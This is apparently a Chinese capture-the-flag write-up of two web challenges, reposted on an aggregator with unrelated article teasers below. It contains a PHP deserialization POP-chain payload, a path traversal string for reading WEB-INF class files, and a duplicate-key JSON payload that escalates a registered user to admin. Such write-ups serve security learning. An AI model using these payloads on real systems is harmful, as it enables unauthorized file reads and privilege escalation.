黄河流域web

1、UNSER的

<?php
highlight_file(__FILE__);   
class Wel
{public $fast;public $star;public function __construct(){$this->fast = "free_toto";echo "what?";}public function __destruct(){$content = $this->star;printf ($content);}public function CTF(){echo "welcome!!!";}
}
class Database
{public $hostname = "127.0.0.1";public $dbuser = "root";public $dbpass = "root";public $database;public $str;public $challange;public function __construct($database){$this->database = $database;}public function __invoke(){ function welcome(){echo "do_it";}$this->str->open($this->database);}
}
class Flag
{public $file;public $params;public function __construct(){$this->file = array();}public function __toString(){return $this->getfunction();  }public function getfunction(){$func = $this->params;echo "you win??";$func();}
}
$files = scandir('./');foreach($files as $file) {if(is_file($file)){if ($file == "fl@g.php") {$con = file_get_contents('/flag');echo $con;unlink($file);}}}
$exp = $_GET['noway'];
unserialize($exp);

打开是一个序列化与反序列化的题目,首先分析一下代码

首先定义了Wel 这个类,并在其中定义了两个公共属性 $fast$star。构造函数初始化 $fast 并输出 "what?"。析构函数在对象销毁时调用,它会打印 $star 的内容。CTF 方法输出 "welcome!!!"。

Database 类定义了一些数据库相关的属性和一个构造函数来初始化 $database 属性。__invoke 方法(当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用)定义了一个局部函数 welcome 并尝试调用 $this->str 对象的 open 方法

Flag 类包含两个公共属性 $file$params。构造函数初始化 $file 为一个空数组。__toString 方法会返回 getfunction 方法的结果。getfunction 方法调用 $params 中保存的函数。

这段代码扫描当前目录的文件。如果存在名为 fl@g.php 的文件,读取 /flag 文件的内容并打印,然后删除 fl@g.php,然后从 GET 请求中获取 noway 参数的值,并将其反序列化为PHP对象

用到的魔术方法:

__construct(): 当一个对象创建时被调用

__destruct():销毁时触发

__invoke():当脚本尝试将对象调用为函数时触发

__toString():当对象被转换为字符串时自动调用

参考其他wp构造payload:

<?phpclass Wel
{public $fast;public $star;public function __construct(){$this->fast = "free_toto";echo "what?";}}
class Database
{public $hostname = "127.0.0.1";public $dbuser = "root";public $dbpass = "root";public $database;public $str;public $challange;public function __construct($database){$this->database = $database;}}
class Flag
{public $file;public $params;public function __construct(){$this->file = array();}
}
class SQLite3{}
$A = new Wel();
$A ->star = new Flag();
$A ->star ->params = new Database("fl@g.php");
$A ->star ->params ->str = new SQLite3("fl@g.php");
echo serialize($A);
?>
  • 类定义

    • Wel 类:
      • 包含两个属性:faststar
      • 构造函数初始化 fast 属性,并输出字符串 "what?"。
    • Database 类:
      • 包含多个属性:hostnamedbuserdbpassdatabasestrchallange
      • 构造函数初始化 database 属性。
    • Flag 类:
      • 包含两个属性:fileparams
      • 构造函数初始化 file 属性为一个空数组。
    • SQLite3 类:
      • 定义为空,没有任何属性或方法。
  • 对象创建和属性赋值

    • 创建 Wel 类的实例 $A
    • $Astar 属性赋值为 Flag 类的实例。
    • Flag 实例的 params 属性赋值为 Database 类的实例,参数为 "fl@g.php"
    • Database 实例的 str 属性赋值为 SQLite3 类的实例,参数同样为 "fl@g.php"

2、两步验证:

打开页面是一个登录框,首先想到的爆破,抓包尝试。

抓包后没有有用信息,尝试点击注册页面但是被禁止了,没有什么思路,参考一下大佬的wp。

题目界面为一登录框,发现 sign up 功能被禁用,但可以访问,先尝试抓包然后改包。这里涉及到功能重用漏洞。

功能重用(Function Reuse)漏洞:

功能重用(Function Reuse)漏洞是指攻击者利用某个功能在不同场景下的调用不当,导致原本受限制的操作被绕过。这类漏洞通常出现在一个功能在不同的上下文中被重复使用,但在不同上下文中没有进行适当的权限控制或参数验证。(即API接口或Web应用程序中的某个功能虽然在UI上被禁用或隐藏,但仍然可以通过直接发送请求来访问。)

通常出现在以下几种场景:
  • 某个受限功能(如注册、文件上传、管理操作等)在不同的上下文中被调用,但没有进行适当的权限检查。
  • 前端页面隐藏或禁用某些操作,但实际的 API 接口仍然可以被访问和利用。

所以此时可以直接通过bp抓包后直接向端点发送请求。

post请求中有一个login,因为刚刚尝试打开注册页面,功能被禁用但是可以打开,符合功能重用漏洞,应该抓包后直接将端口连接到注册功能,把方法改为register。

显示注册成功。将包重传后尝试登录。

登录后有四个跳转页面只有download部分可以打开,打开后抓包查看下载上传功能。

参考别的wp,这里的file=../../static/cat.gif提示了文件下载路径,想到任意文件读取,又因为这个题是java语言,所以需要学习一下java的war包结构。

任意文件读取:

漏洞是一种Web应用安全漏洞,允许攻击者读取服务器上任意文件的内容。此类漏洞通常是由于应用程序未能正确验证用户输入,导致文件路径或文件名可以由用户控制,从而读取任意文件。

任意文件读取的常见场景:
  1. 文件包含(File Inclusion):例如,在PHP应用中使用includerequirefile_get_contents等函数时,没有正确过滤用户输入,导致可以通过构造路径读取服务器上的任意文件。
  2. 文件下载功能:提供文件下载功能时,没有正确限制可下载文件的范围,导致攻击者可以下载任意文件。
  3. 日志查看功能:日志查看功能没有正确过滤用户输入,允许攻击者读取任意文件。
漏洞利用步骤:
  1. 找到注入点:找到可以控制文件路径的参数。
  2. 构造恶意输入:构造输入以读取敏感文件,如/etc/passwd(Linux系统)或C:\Windows\System32\drivers\etc\hosts(Windows系统)。
  3. 发送请求并读取响应:发送恶意请求并读取响应中的文件内容。

一个典型的WAR包结构如下:

myapp.war
├── META-INF/
│   └── MANIFEST.MF
├── WEB-INF/
│   ├── classes/
│   │   └── com/
│   │       └── example/
│   │           └── MyServlet.class
│   ├── lib/
│   │   └── some-library.jar
│   ├── web.xml
├── index.html
└── styles.css

  • META-INF/:包含包的元数据,如MANIFEST.MF文件。
  • WEB-INF/:包含Web应用程序的私有文件,这些文件不会直接暴露给用户。
    • classes/:存放编译后的Java类文件(.class)。
    • lib/:存放应用程序所需的JAR文件(库)。
    • web.xml:Web应用程序的部署描述符,用于配置Servlet、过滤器等。
  • 其他文件和目录:Web应用程序的公共资源,如HTML文件、CSS文件、JavaScript文件等。

查看web.xml,

定义了各种 Servlet 和 Filter 以及它们的 URL 映射。这段代码展示了多个 Servlet 的定义及其映射路径,以及一个 Filter 的定义和映射路径,把这几个类的代码都下载下来。

../../WEB-INF/classes/com/web/servlet/registerServlet.class

打开后是乱码,需要用到java反编译器,用jd-gui打开查看源码。

理解代码,大致意思就是实现用户的注册与登录。参考大佬的思路,这里的问题是出在上传文件这里,但是上传文件的权限需要admin,所以尝试从代码入手,更改权限。

发现权限的值在注册部分

  • 正则表达式匹配 role 字段:

    • 使用正则表达式 PatternMatcher 来查找 JSON 数据中的 "role":"..." 部分。
    • matcher.find() 会查找下一个匹配项,并将其赋值给 role 变量。
  • 判断 role 是否为空:

    • StringUtils.isNullOrEmpty(role) 判断 role 是否为空或者为 null
    • 如果 role 不为空(用户试图指定 role 字段),则将其替换为 "role":"guest",然后使用 gson 库将 JSON 数据反序列化为 Person 对象。
  • 处理没有 role 字段的情况:

    • 如果 role 为空,则直接将 JSON 数据反序列化为 Person 对象,并手动设置 roleguest

那么首要目标是绕过Role需要是admin的验证

registerServlet.class,会对注册时的post参数,即data={"username":"admin","password":"admin"}

\"role\":\"(.*?)\"正则匹配,匹配到"role":"xxx"就会替换成"role":"guest",如果没有role,则设置role为guest,所以必须让while循环里的role有值,使得if条件成立

构造payload:

data={"username":"admin","password":"admin","role":"test","role"/**/:"admin"}

在while处匹配到"role":"test",匹配不到"role"/**/:"admin",进到if条件里,替换的是"role":"test",json解析时遇到重复的role键时,会使用最后一个role键值对,最终"role":"admin"

不知道怎么回事一直上传不成功,再去学习一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1451659.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

使用ShinyCell展示你的单细胞数据

在我参与发表我的第一篇植物单细胞文章中&#xff0c;我用Shiny开发了一个简单的单细胞可视化网站&#xff0c;目前已经运行了5年了&#xff0c;有上万的访问&#xff0c;唯一的不足就是太简陋。我一直想着能不能找个一个更好的工具进行展示&#xff0c;最近发现了一个工具&…

Druid未授权访问漏洞修复

前言 安全组针对系统漏扫发现系统存在Druid未授权访问&#xff0c;会引发泄露系统敏感信息&#xff0c;漏洞链接为ip:端口/druid/index.html&#xff0c;可以清楚的查看数据库的相关连接信息&#xff0c;如下图所示&#xff1a; 漏洞修复 1、关闭Druid监控页面 在Druid的配…

34 Debian如何配置ELK群集

作者:网络傅老师 特别提示:未经作者允许,不得转载任何内容。违者必究! Debian如何配置ELK群集 《傅老师Debian知识库系列之34》——原创 ==前言== 傅老师Debian知识库特点: 1、拆解Debian实用技能; 2、所有操作在VMware虚拟机实测完成; 3、致力于最终形成Debian知识手…

【TB作品】MSP430 G2553 单片机 口袋板 日历 时钟 闹钟 万年历 电子时钟 秒表显示

文章目录 功能介绍操作方法部分流程图代码录制了一个演示视频可以下载观看 功能介绍 时间与日期显示&#xff1a; 实时显示当前时间&#xff08;小时、分钟、秒&#xff09;和日期&#xff08;年、月、日&#xff09;。 闹钟功能&#xff1a; 设置闹钟时间&#xff08;小时、分…

关于FPGA对 DDR4 (MT40A256M16)的读写控制 2

关于FPGA对 DDR4 &#xff08;MT40A256M16&#xff09;的读写控制 2 语言 &#xff1a;Verilg HDL EDA工具&#xff1a;ISE、Vivado、Quartus II 关于FPGA对 DDR4 &#xff08;MT40A256M16&#xff09;的读写控制 2一、引言二、DDR4的简介四、DDR4 SDRAM状态框图 关键词&#x…

高叶恋情曝光神秘素人男友浮出水面

高叶恋情曝光&#xff0c;神秘素人男友浮出水面&#xff01;在娱乐圈的璀璨星光中&#xff0c;总有一些低调而神秘的恋情&#xff0c;它们如同深藏的宝藏&#xff0c;等待着被发掘。昨日&#xff0c;知名娱乐记者刘大锤的一则爆料&#xff0c;犹如一颗重磅炸弹&#xff0c;炸响…

Go 1.19.4 字符串-Day 06

1. 编码表 计算机中只有数字&#xff08;0和1&#xff09;&#xff0c;如果有一个字符串&#xff08;字符串由字符组成&#xff09;要存储&#xff0c;在内存中该如何表达这个字符串&#xff1f; 那么所有的字符都必须数字化&#xff0c;也就是一个字符对应一个特定的数字&…

腾讯云对象存储不绑定自定义备案域名不给下载应该如何处理?

从2024年1月1日起&#xff0c;腾讯云对象存储&#xff08;COS&#xff09;将实施新政策&#xff1a;新创建的存储桶不再支持使用path-style域名&#xff08;即存储桶绝对路径&#xff09;。此外&#xff0c;使用默认域名访问的新存储桶将不再支持任意类型文件的预览&#xff0c…

Mac error:0308010C:digital envelope routines::unsupported

背景&#xff1a; node版本20.14.0 执行npm run start命令的时候报错 问题&#xff1a; error:0308010C:digital envelope routines::unsupported 分析&#xff1a; 出现这个错误是因为 node.js V17版本中最近发布的OpenSSL3.0, 而OpenSSL3.0对允许算法和密钥大小增加了严…

VMware安装ubuntu22.04虚拟机超详细图文教程

一 、下载镜像 下载地址&#xff1a;Index of /ubuntu-releases/22.04.4/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 二、创建虚拟机 打开VMware点击左上角文件&#xff0c;创建新的虚拟机&#xff0c;打开后如下图&#xff1a; 下一步&#xff0c;镜像文件就是…

视频号怎么保存视频到手机?推荐4种方法!

短视频已经成为了网友们的新宠&#xff0c;那么对于我们这些普通人来说&#xff0c;如何能够轻松提取视频号上的视频呢&#xff1f;今天&#xff0c;就让我们一起来探讨一下视频号视频提取各种方法和工具&#xff01; 虽然视频号视频的保存方式多种多样&#xff0c;但为了照顾那…

【嵌入式DIY实例】-Nokia 5110显示DS18B20传感器数据

Nokia 5110显示DS18B20传感器数据 文章目录 Nokia 5110显示DS18B20传感器数据1、硬件准备2、代码实现本文将介绍如何使用 ESP8266 NodeMCU 板和 DS18B20 数字温度传感器实现简单的温度测量站。 NodeMCU 微控制器 (ESP8266EX) 从 DS18B20 传感器读取温度值,并将其打印在诺基亚 …

怎么做才能推动产业园区的数字化转型和升级

树莓集团在产业园运营中建设了产业园共同体生态模型&#xff0c;以园区作为核心载体&#xff0c;汇聚了众多优质企业&#xff0c;形成了强大的产业集群效应。这一模型通过产业汇集、资源共享和生态构建&#xff0c;为企业提供了一站式的解决方案&#xff0c;助力企业在激烈的市…

基于SpringBoot+VueBBS论坛系统设计和实现(源码+LW+调试文档+讲解等)

&#x1f497;博主介绍&#xff1a;✌全网粉丝1W,CSDN作者、博客专家、全栈领域优质创作者&#xff0c;博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f31f;文末获取源码数据库&#x1f31f; 感兴趣的可以先收藏起来&#xff0c;还…

HCIA-Datacom H12-811 题库

LDP 邻居发现有不同的实现机制和规定&#xff0c;下面关于LDP 邻居发现的描述错误的是&#xff1a; A&#xff1a;LDP发现机制包括LDP基本发现机制和LDP扩展发现机制 B&#xff1a;LDP基本发现机制可以自动发现直连在同条链路上的LDP Peers C&#xff1a;LDP扩展发现机制够发现…

Wireless Network(百练,POJ)

题目链接: http://bailian.openjudge.cn/tm2019/F/ 2236 -- Wireless Network 题面描述: 思路: 这题开了10s&#xff0c;所以可以暴力点&#xff0c;每次修复一个点&#xff0c;就将该点相连的那些边建出来&#xff0c;总的时间复杂度为: O(nm)。关键在于如何判定两个点是否…

挂耳式耳机哪个牌子好性价比高、五大招牌力作精选归纳

如果说你很喜欢户外运动&#xff0c;日常生活中也是需要经常佩戴耳机&#xff0c;那么你一定有了解到耳机是开放式耳机&#xff0c;这类耳机无论在户外运动防水防汗还是在耳朵健康方面都具备它的优点&#xff0c;在市面上是很受欢迎的。 但面对市面上不同品牌的耳机都会显得眼…

网工内推 | 上海网工,熟悉华为数通,最高35K,IP/IE认证优先

01 四川茶姬企业管理有限公司 &#x1f537;招聘岗位&#xff1a;网络运维工程师 &#x1f537;任职要求&#xff1a; 1. 负责设计、部署和维护基于云平台的企业网络基础架构&#xff0c;包括公有云&#xff08;如阿里云、腾讯云、AWS、Azure&#xff09;和私有云环境&#x…

微信小游戏插件申请,微信小程序插件管理

微信小游戏的插件申请与小程序不一样&#xff0c;官方没有提供一个统一的管理入口进行申请插件&#xff0c;以及查看插件&#xff0c;没有小程序方便的&#xff1b; 小程序申请查看插件入口如下图所示&#xff1a; 小游戏的插件可以通过以下的方式进行申请&#xff1a; 如下…

怎么将webp转换jpg?关于图片格式转换的四种方法

怎么将webp转换jpg&#xff1f;在数字时代的浪潮中&#xff0c;图像格式的演变日新月异。在这个变化的潮流中&#xff0c;webp作为一种由谷歌开发的现代图像格式&#xff0c;旨在提供更高效的压缩和更快速的网络传输。它的出现&#xff0c;改变了我们处理图片的方式&#xff0c…